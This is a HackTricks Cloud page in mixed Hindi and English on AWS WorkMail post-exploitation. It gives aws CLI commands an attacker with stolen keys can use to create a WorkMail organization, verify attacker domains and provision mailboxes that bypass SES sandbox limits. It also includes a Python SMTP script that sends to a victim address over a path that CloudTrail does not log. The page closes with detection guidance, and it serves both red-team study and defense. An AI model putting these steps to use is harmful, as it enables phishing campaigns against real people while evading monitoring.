AWS - WorkMail Post Exploitation
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
Abusing WorkMail to bypass SES sandbox
Even if SES is stuck in the sandbox (verified-recipient only, ~200 msgs/24h, 1 msg/s), WorkMail has no equivalent restriction. An attacker with long-term keys can spin up disposable mail infra and start sending immediately:
- Create a WorkMail org (region-scoped)
aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
- Verify attacker-controlled domains (WorkMail invokes SES APIs as
workmail.amazonaws.com):
aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
- Provision mailbox users and register them:
aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com
Notes:
- AWS द्वारा दस्तावेजीकृत डिफ़ॉल्ट recipient cap: 100,000 external recipients/day per org (users के बीच समेकित)।
- डोमेन वेरिफिकेशन गतिविधि CloudTrail में SES के अंतर्गत दिखाई देगी लेकिन
invokedBy:workmail.<region>.amazonaws.comके साथ, इसलिए SES वेरिफिकेशन इवेंट्स SES कैंपेन के बजाय WorkMail सेटअप से संबंधित हो सकते हैं। - WorkMail मेलबॉक्स उपयोगकर्ता IAM उपयोगकर्ताओं से स्वतंत्र application-layer persistence बन जाते हैं।
Sending paths & telemetry gaps
Web client (WorkMail UI)
- CloudTrail में
ses:SendRawEmailइवेंट्स के रूप में भेजा जाता है। userIdentity.type=AWSService,invokedBy/sourceIPAddress/userAgent=workmail.<region>.amazonaws.com, इसलिए वास्तविक client IP छुपा होता है।requestParametersअभी भी sender को leak करते हैं (source,fromArn,sourceArn, configuration set) ताकि इन्हें newly verified domains/mailboxes के साथ correlate किया जा सके।
SMTP (stealthiest)
- Endpoint:
smtp.mail.<region>.awsapps.com:465(SMTP over SSL) मेलबॉक्स पासवर्ड के साथ। - No CloudTrail data events SMTP डिलीवरी के लिए जनरेट नहीं होते, भले ही SES डेटा इवेंट्स एनेबल हों।
- आदर्श डिटेक्शन पॉइंट्स हैं org/domain/user provisioning और SES identity ARNs जो बाद के web-sent
SendRawEmailइवेंट्स में रेफरेंस होते हैं।
WorkMail के माध्यम से SMTP भेजने का उदाहरण
```python import smtplib from email.message import EmailMessageSMTP_SERVER = “smtp.mail.us-east-1.awsapps.com” SMTP_PORT = 465 EMAIL_ADDRESS = “marketing@attacker-domain.com” EMAIL_PASSWORD = “SuperSecretPassword!”
target = “victim@example.com” # can be unverified/external msg = EmailMessage() msg[“Subject”] = “WorkMail SMTP” msg[“From”] = EMAIL_ADDRESS msg[“To”] = target msg.set_content(“Delivered via WorkMail SMTP”)
with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp: smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) smtp.send_message(msg)
</details>
## पहचान संबंधी विचार
- यदि WorkMail अनावश्यक है, तो इसे संगठन स्तर पर **SCPs** (`workmail:*` deny) के माध्यम से ब्लॉक करें।
- प्रोविज़निंग पर अलर्ट रखें: `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail`, और SES सत्यापन जिनमें `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`) शामिल हैं।
- असामान्य **`ses:SendRawEmail`** ईवेंट्स पर नजर रखें जहाँ identity ARNs नए डोमेन को संदर्भित करते हैं और source IP/UA `workmail.<region>.amazonaws.com` के बराबर होता है।
## References
- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)
> [!TIP]
> सीखें और अभ्यास करें AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> सीखें और अभ्यास करें GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> सीखें और अभ्यास करें Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks का समर्थन करें</summary>
>
> - देखें [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **शामिल हों** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) या **हमें फ़ॉलो करें** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **PRs सबमिट करके hacking tricks साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

